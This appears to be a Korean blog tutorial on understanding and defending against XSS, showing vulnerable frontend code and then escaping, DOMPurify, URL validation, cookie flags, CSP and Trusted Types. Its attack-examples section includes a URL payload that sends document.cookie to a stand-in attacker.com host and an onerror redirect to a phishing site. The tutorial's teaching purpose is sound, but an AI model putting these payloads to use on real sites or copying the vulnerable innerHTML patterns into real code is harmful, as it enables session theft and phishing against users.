📎

XSS공격 이해하기

최근 웹 보안에 대한 관심이 높아지고 있다. 특히 XSS(Cross-Site Scripting) 공격은 프론트엔드 개발자가 반드시 알아야 할 보안 위협 중 하나다. "내가 만든 사이트가 안전할까?" 이런 고민을 한 번이라도 해봤다면 이 글을 끝까지 읽어보자.
이 글을 끝까지 읽으면 XSS 공격을 완벽하게 방어할 수 있는 방법들을 알게 된다. 더 중요한 건, 내일부터 당장 프로젝트에 적용할 수 있는 구체적인 방어 코드들을 얻어갈 수 있다는 것이다.

웹 공격, 이렇게 당한다

웹 공격은 크게 두 가지 방식으로 들어온다.
능동적 공격은 해커가 직접 우리 서버를 때리는 방식이다. SQL 인젝션처럼 서버 코드의 허점을 노리는 것들이다. 백엔드 개발자들이 주로 신경 쓰는 영역이다.
수동적 공격은 덫을 놓고 기다리는 방식이다. 악성 코드를 심어두고 사용자가 그 페이지를 방문할 때까지 기다린다. XSS, CSRF, 클릭재킹이 여기에 해당한다. 프론트엔드 개발자인 우리가 막아야 할 공격들이다.

XSS 공격의 실제 사례들

1. 검색창에서 당하는 반사형 XSS

가장 흔한 케이스다. 사용자가 검색한 내용을 그대로 화면에 표시할 때 발생한다.
// 위험한 코드 - 이렇게 하면 안 된다 const searchTerm = new URLSearchParams(location.search).get('q'); document.getElementById('result').innerHTML = `검색 결과: ${searchTerm}`;
공격자는 이런 URL을 만들어서 피해자에게 보낸다.
https://yoursite.com/search?q=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
피해자가 이 링크를 클릭하는 순간 쿠키가 털린다.

2. 댓글 시스템에서 당하는 저장형 XSS

데이터베이스에 악성 스크립트가 저장되어서 해당 게시물을 보는 모든 사용자가 피해를 입는 방식이다. 게시판이나 댓글 시스템에서 가장 위험한 유형이다.
// 댓글 렌더링 - 이것도 위험하다 comments.forEach(comment => { const div = document.createElement('div'); div.innerHTML = comment.content; // 여기서 스크립트가 실행된다 commentsContainer.appendChild(div); });

3. URL 조작으로 당하는 DOM 기반 XSS

최근에 많이 보는 SPA에서 특히 위험하다.
// React Router나 Vue Router에서 흔히 보는 패턴 const hash = window.location.hash.slice(1); document.getElementById('content').innerHTML = `현재 페이지: ${hash}`;
이런 URL로 공격이 가능하다.
https://yoursite.com/#<img src=x onerror="location.href='https://phishing-site.com'">

지금 당장 적용할 수 있는 방어 코드

1. 문자열 이스케이프 유틸리티 만들기

모든 프로젝트에서 재사용할 수 있는 유틸리티 함수다.
// utils/security.js export const escapeHtml = (str) => { if (typeof str !== 'string') return str; const escapeMap = { '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#x27;', '/': '&#x2F;', }; return str.replace(/[&<>"'/]/g, (match) => escapeMap[match]); }; // 사용법 const userInput = '<script>alert("hack")</script>'; const safeHtml = escapeHtml(userInput); console.log(safeHtml); // &lt;script&gt;alert(&quot;hack&quot;)&lt;&#x2F;script&gt;

2. React에서 안전하게 HTML 렌더링하기

dangerouslySetInnerHTML을 써야 할 때가 있다. 이때는 DOMPurify를 사용한다.
import DOMPurify from 'dompurify'; const SafeHtmlRenderer = ({ htmlContent }) => { const sanitizedHtml = DOMPurify.sanitize(htmlContent, { ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'ul', 'ol', 'li'], ALLOWED_ATTR: ['class'] }); return ( <div dangerouslySetInnerHTML={{ __html: sanitizedHtml }} /> ); };

3. 안전한 URL 검증기

링크를 동적으로 생성할 때 반드시 사용해야 한다.
export const isValidUrl = (url) => { if (!url || typeof url !== 'string') return false; // 허용할 프로토콜 목록 const allowedProtocols = ['http:', 'https:', 'mailto:', 'tel:']; try { const urlObj = new URL(url); return allowedProtocols.includes(urlObj.protocol); } catch { return false; } }; // 사용법 const userProvidedLink = 'javascript:alert("xss")'; if (isValidUrl(userProvidedLink)) { // 안전한 링크만 처리 window.open(userProvidedLink); } else { console.warn('안전하지 않은 링크입니다'); }

4. 쿠키 보안 설정 (Express.js 예제)

백엔드와 협업할 때 이렇게 요청하자.
// 서버에서 쿠키 설정 app.use(session({ cookie: { httpOnly: true, // JavaScript로 접근 불가 secure: true, // HTTPS에서만 전송 sameSite: 'strict' // CSRF 공격 방어 } }));

CSP로 최후의 방어선 구축하기

Content Security Policy는 XSS 공격의 최후 방어선이다. HTML 헤더에 설정하거나 meta 태그로도 가능하다.

단계별 CSP 적용 전략

1단계: Report-Only 모드로 현황 파악
<meta http-equiv="Content-Security-Policy-Report-Only" content="default-src 'self'; script-src 'self'; report-uri /csp-report">
브라우저 콘솔에서 어떤 스크립트들이 차단되는지 확인할 수 있다.
2단계: 기본 CSP 적용
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'">
3단계: Strict CSP로 강화
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-abc123' 'strict-dynamic'">
<!-- 허용된 스크립트만 실행 --> <script nonce="abc123"> // 이 스크립트는 실행된다 console.log('안전한 스크립트'); </script> <script> // 이 스크립트는 차단된다 alert('차단됨'); </script>

Next.js에서 CSP 설정하기

// next.config.js module.exports = { async headers() { return [ { source: '/(.*)', headers: [ { key: 'Content-Security-Policy', value: "default-src 'self'; script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline'" } ] } ]; } };

Trusted Types로 DOM 조작 완전히 통제하기

최신 브라우저에서 지원하는 강력한 기능이다. 위험한 DOM API 사용을 원천 차단한다.
// 정책 생성 const policy = trustedTypes.createPolicy('myapp-policy', { createHTML: (string) => { // DOMPurify로 정화 후 반환 return DOMPurify.sanitize(string); }, createScript: (string) => { // 스크립트는 허용하지 않음 return ''; }, createScriptURL: (url) => { // 신뢰할 수 있는 도메인만 허용 return url.startsWith('https://cdn.myapp.com') ? url : ''; } }); // 안전한 DOM 조작 const userContent = '<p>사용자 입력 <script>alert("xss")</script></p>'; element.innerHTML = policy.createHTML(userContent);
CSP 헤더에 Trusted Types 활성화.
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types myapp-policy

마무리하며

XSS 방어는 한 번에 완벽하게 할 수 있는 게 아니다. 새로운 공격 기법도 계속 나오고, 브라우저 보안 기능도 계속 발전한다.
가장 중요한 건 "사용자 입력을 절대 믿지 않는다"는 기본 원칙이다. 그리고 여러 계층의 방어 장치를 구축하는 것이다.

유용한 도구들

  • DOMPurify: HTML 정화 라이브러리
  • CSP Evaluator: CSP 정책 검증 도구
  • XSS Hunter: XSS 취약점 발견 도구
  • Security Headers: 보안 헤더 검사 사이트
이 글에서 제시한 코드들은 모두 실제 프로젝트에서 테스트한 것들이다. 내일부터 당장 프로젝트에 적용해보자. 그리고 보안은 혼자 하는 게 아니니까, 팀원들과도 공유해서 함께 안전한 서비스를 만들어보자.
XSS 공격, Cross-Site Scripting, 웹 보안, 프론트엔드 보안, XSS 방어, Content Security Policy, CSP, Trusted Types, DOM 보안, HTML 이스케이프, DOMPurify, 웹 취약점, 자바스크립트 보안, React 보안, 저장형 XSS, 반사형 XSS, DOM 기반 XSS, 웹 애플리케이션 보안, 보안 개발, 프론트엔드 개발자